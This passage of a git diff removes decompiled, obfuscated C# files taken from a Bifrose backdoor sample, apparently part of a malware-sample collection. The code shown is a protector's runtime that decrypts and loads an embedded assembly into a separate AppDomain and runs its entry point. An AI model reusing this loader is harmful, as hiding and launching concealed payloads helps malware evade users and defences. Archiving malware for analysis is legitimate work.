Marshal.StringToCoTaskMemAnsi(licenseKey); - int num1 = usb ? 1 : 0; - int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1); - if (coTaskMemAnsi != IntPtr.Zero) - Marshal.FreeCoTaskMem(coTaskMemAnsi); - return num2 != 0; - } - - public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2) - { - int num; - if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num; - } - - public virtual unsafe IntPtr GenProductKey( - Assembly pReserved, - IntPtr pKeys, - uint LicenseID, - ulong data) - { - sbyte* numPtr; - if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr GenProductKey( - Assembly pReserved, - IntPtr pKeys, - uint LicenseID) - { - sbyte* numPtr; - if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey) - { - uint licenseId; - if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return licenseId; - } - - public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey) - { - uint num; - ulong productkeyData; - if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return productkeyData; - } - - public virtual unsafe IntPtr DecodeActivationString( - Assembly pReserved, - IntPtr pKeys, - IntPtr pActivationString) - { - byte* numPtr; - if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq) - { - sbyte* numPtr; - if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration) - { - sbyte* config; - if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - IntPtr pAssemblyFile) - { - sbyte* config; - if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - AssemblyName Name) - { - string name = Name.Name; - byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0")); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - sbyte* config; - int num2 = \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config); - gcHandle.Free(); - if (num2 == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe string GetThumbPrint(Assembly pReserved) - { - \u0081Ï ï; - if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - StringBuilder stringBuilder = new StringBuilder(); - int num = 0; - do - { - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0')); - ++num; - } - while (num < 20); - return stringBuilder.ToString(); - } - - public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved) - { - uint length; - byte* numPtr; - if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - byte[] destination = new byte[(int) length]; - IntPtr num = (IntPtr) (void*) numPtr; - Marshal.Copy(num, destination, 0, (int) length); - Marshal.FreeCoTaskMem(num); - return destination; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity) - { - sbyte* usbConfig; - if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity, - IntPtr pAssemblyFile) - { - sbyte* usbConfig; - if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity, - AssemblyName Name) - { - string name = Name.Name; - byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0")); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - sbyte* usbConfig; - int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig); - gcHandle.Free(); - if (num2 == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GenerateLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq) - { - sbyte* license; - if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) license; - } - - public virtual unsafe IntPtr GenerateLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq, - int tolerance, - [MarshalAs(UnmanagedType.U1)] bool ignoreMinor, - long RuntimeLicensesLimit) - { - sbyte* license; - if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) license; - } - - public virtual unsafe IntPtr GenerateUsbLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq) - { - sbyte* usbLicense; - if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbLicense; - } - - public virtual unsafe IntPtr GenerateUsbLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq, - int tolerance, - [MarshalAs(UnmanagedType.U1)] bool ignoreMinor, - long RuntimeLicensesLimit) - { - sbyte* usbLicense; - if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbLicense; - } - - public virtual unsafe Assembly ResolveAssembly(string Name) - { - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - try - { - AssemblyName assemblyName = new AssemblyName(Name); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - uint exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num2 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - return (Assembly) null; - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num2 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - if (num2 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num2); - } - } - byte[] bytes = Encoding.UTF8.GetBytes(Name); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer()); - if (index >= 0) - { - Assembly[] ò = this.ò; - if (index < ò.Length) - { - if ((object) ò[index] == null) - this.ò[index] = this.\u0081â(num3); - gcHandle.Free(); - return this.ò[index]; - } - } - gcHandle.Free(); - return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null; - } - - public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2); - - public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1) - { - byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - int length1 = Marshal.ReadInt32(ptr); - IntPtr source = (IntPtr) (void*) (numPtr + 4); - byte[] rawAssembly = new byte[length1]; - byte[] destination = rawAssembly; - int length2 = length1; - Marshal.Copy(source, destination, 0, length2); - Assembly embLockAssembly = Assembly.Load(rawAssembly); - Marshal.FreeCoTaskMem(ptr); - return embLockAssembly; - } - - public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1) - { - byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - string stringAnsi = Marshal.PtrToStringAnsi(ptr); - Marshal.FreeCoTaskMem(ptr); - Assembly lockAssemblyName = (Assembly) null; - try - { - lockAssemblyName = Assembly.Load(stringAnsi); - } - catch (Exception ex) - { - } - return lockAssemblyName; - } - - public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1) - { - byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) ptr1 == IntPtr.Zero) - return (ArrayList) null; - IntPtr ptr2 = (IntPtr) (void*) ptr1; - ArrayList assemblyServices = new ArrayList(); - if (*ptr1 != (byte) 0) - { - do - { - string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1); - assemblyServices.Add((object) stringAnsi); - ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1); - } - while (*ptr1 != (byte) 0); - } - Marshal.FreeCoTaskMem(ptr2); - return assemblyServices; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool IsDemo(Assembly pReserved) - { - int num; - if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - public virtual unsafe int DaysLeft(Assembly pReserved) - { - int num; - return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - } - - public virtual unsafe int MinutesLeft(Assembly pReserved) - { - int num; - return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - } - - public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer()); - - public virtual void UnloadAppdomain(AppDomain domain) - { - int id = domain.Id; - AppDomain.Unload(domain); - \u0082\u00BB.\u0095(id); - } - - public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø(); - - public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer()); - - public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers) - { - GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0); - IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer()); - gcHandle.Free(); - return num2; - } - - public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer()); - - public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames(); - - public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles) - { - GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned); - GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned); - GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0); - IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0); - IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0); - \u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer()); - gcHandle1.Free(); - gcHandle2.Free(); - gcHandle3.Free(); - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_003CdotNetProtector_003E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_003CdotNetProtector_003E.cs deleted file mode 100644 index d8affbfb..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_003CdotNetProtector_003E.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -public class \u003CdotNetProtector\u003E -{ - internal static readonly long _Reserved; -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0081é/_0081Ù.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0081é/_0081Ù.cs deleted file mode 100644 index 3fc055a1..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0081é/_0081Ù.cs +++ /dev/null @@ -1,281 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.Ù -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using \u0081é; -using \u0082\u00BC; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0081é -{ - [Serializable] - internal class \u0081Ù - { - private IntPtr \u0082\u00B0; - private IntPtr á; - private int Þ; - private Assembly Û; - - private unsafe Assembly \u00F7() - { - byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - int length1 = Marshal.ReadInt32(ptr); - IntPtr source = (IntPtr) (void*) (numPtr + 4); - byte[] rawAssembly = new byte[length1]; - byte[] destination = rawAssembly; - int length2 = length1; - Marshal.Copy(source, destination, 0, length2); - Assembly assembly = Assembly.Load(rawAssembly); - Marshal.FreeCoTaskMem(ptr); - return assembly; - } - - private unsafe Assembly \u0089() - { - byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - string stringAnsi = Marshal.PtrToStringAnsi(ptr); - Marshal.FreeCoTaskMem(ptr); - Assembly assembly = (Assembly) null; - try - { - assembly = Assembly.Load(stringAnsi); - } - catch (Exception ex) - { - } - return assembly; - } - - public static unsafe int \u0081Ö(Assembly _param0, int _param1) - { - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]); - int num2 = 0; - \u0081Ù ù = new \u0081Ù(); - ù.Û = _param0; - ù.\u0082\u00B0 = hinstance; - ù.Þ = _param1; - IntPtr num3 = (IntPtr) (void*) &num2; - ù.á = num3; - AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString()); - int id = domain.Id; - domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç); - CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í); - domain.DoCallBack(callBackDelegate); - try - { - AppDomain.Unload(domain); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - uint exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num4 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num4 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - goto label_10; - if (num4 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num4); - } - } -label_10: - \u0082\u00BB.ù(); - \u0082\u00BB.\u0095(id); - return num2; - } - - public unsafe void í() - { - FieldInfo fieldInfo = (FieldInfo) null; - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - Assembly entryAssembly = Assembly.GetEntryAssembly(); - uint exceptionCode; - if ((object) entryAssembly == null) - { - \u0081ê.\u0081\u0099 = this.Û; - try - { - fieldInfo = (FieldInfo) null; - AppDomain currentDomain = AppDomain.CurrentDomain; - AppDomainManager appDomainManager = currentDomain.DomainManager; - if (appDomainManager == null) - { - appDomainManager = new AppDomainManager(); - typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager); - } - typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num2 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num2 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - goto label_18; - if (num2 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num2); - } - } - } - else - \u0081ê.\u0081\u0099 = entryAssembly; -label_18: - Assembly assembly = (Assembly) null; - switch (this.Þ & 805306368) - { - case 536870912: - assembly = this.\u0089(); - break; - case 805306368: - assembly = this.\u00F7(); - break; - } - if ((object) assembly == null) - return; - MethodInfo entryPoint = assembly.EntryPoint; - if ((object) entryPoint == null) - return; - object[] parameters = new object[0]; - if (entryPoint.GetParameters().Length != 0) - { - string[] commandLineArgs = Environment.GetCommandLineArgs(); - string[] destinationArray = new string[commandLineArgs.Length - 1]; - int length = destinationArray.Length; - if (length != 0) - Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length); - parameters = new object[1] - { - (object) destinationArray - }; - } - object obj = entryPoint.Invoke((object) null, parameters); - if (obj == null) - return; - try - { - Marshal.WriteInt32(this.á, Convert.ToInt32(obj)); - } - catch (Exception ex3) when ( - { - // ISSUE: unable to correctly present filter - exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num3 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex4) when ( - { - // ISSUE: unable to correctly present filter - num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num3 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - return; - if (num3 == 0U) - return; - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num3); - } - } - } - - public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name); - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0081é/_0081Þ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0081é/_0081Þ.cs deleted file mode 100644 index c31cf4ed..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0081é/_0081Þ.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.Þ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using \u0081é; -using \u0082\u00BC; -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Threading; - -namespace \u0081é -{ - [Serializable] - internal class \u0081Þ - { - private IntPtr þ; - private int \u0092; - [NonSerialized] - private AppDomain ú; - - public \u0081Þ(AppDomain domain, int domainId) - { - this.\u0092 = domainId; - this.ú = domain; - this.þ = IntPtr.Zero; - } - - public void \u0081ý() - { - if (this.ú == null) - return; - try - { - for (int index = 0; index < 10; ++index) - { - try - { - string friendlyName = this.ú.FriendlyName; - Thread.Sleep(50); - } - catch (AppDomainUnloadedException ex) - { - break; - } - } - } - finally - { - \u0082\u00BB.\u0095(this.\u0092); - } - } - - public static AppDomain \u0081\u008D() - { - MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic); - return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain; - } - - public void \u009C() - { - Marshal.GetObjectForIUnknown(this.þ); - Marshal.Release(this.þ); - this.þ = IntPtr.Zero; - new Thread(new ThreadStart(this.\u0081ý)).Start(); - } - - public void \u0081\u0084(object _param1, EventArgs _param2) - { - AppDomain appDomain = \u0081Þ.\u0081\u008D(); - if (appDomain == null) - return; - CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C); - this.þ = Marshal.GetIUnknownForObject((object) this.ú); - this.ú = (AppDomain) null; - appDomain.DoCallBack(callBackDelegate); - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0081é/_0081ê.cs 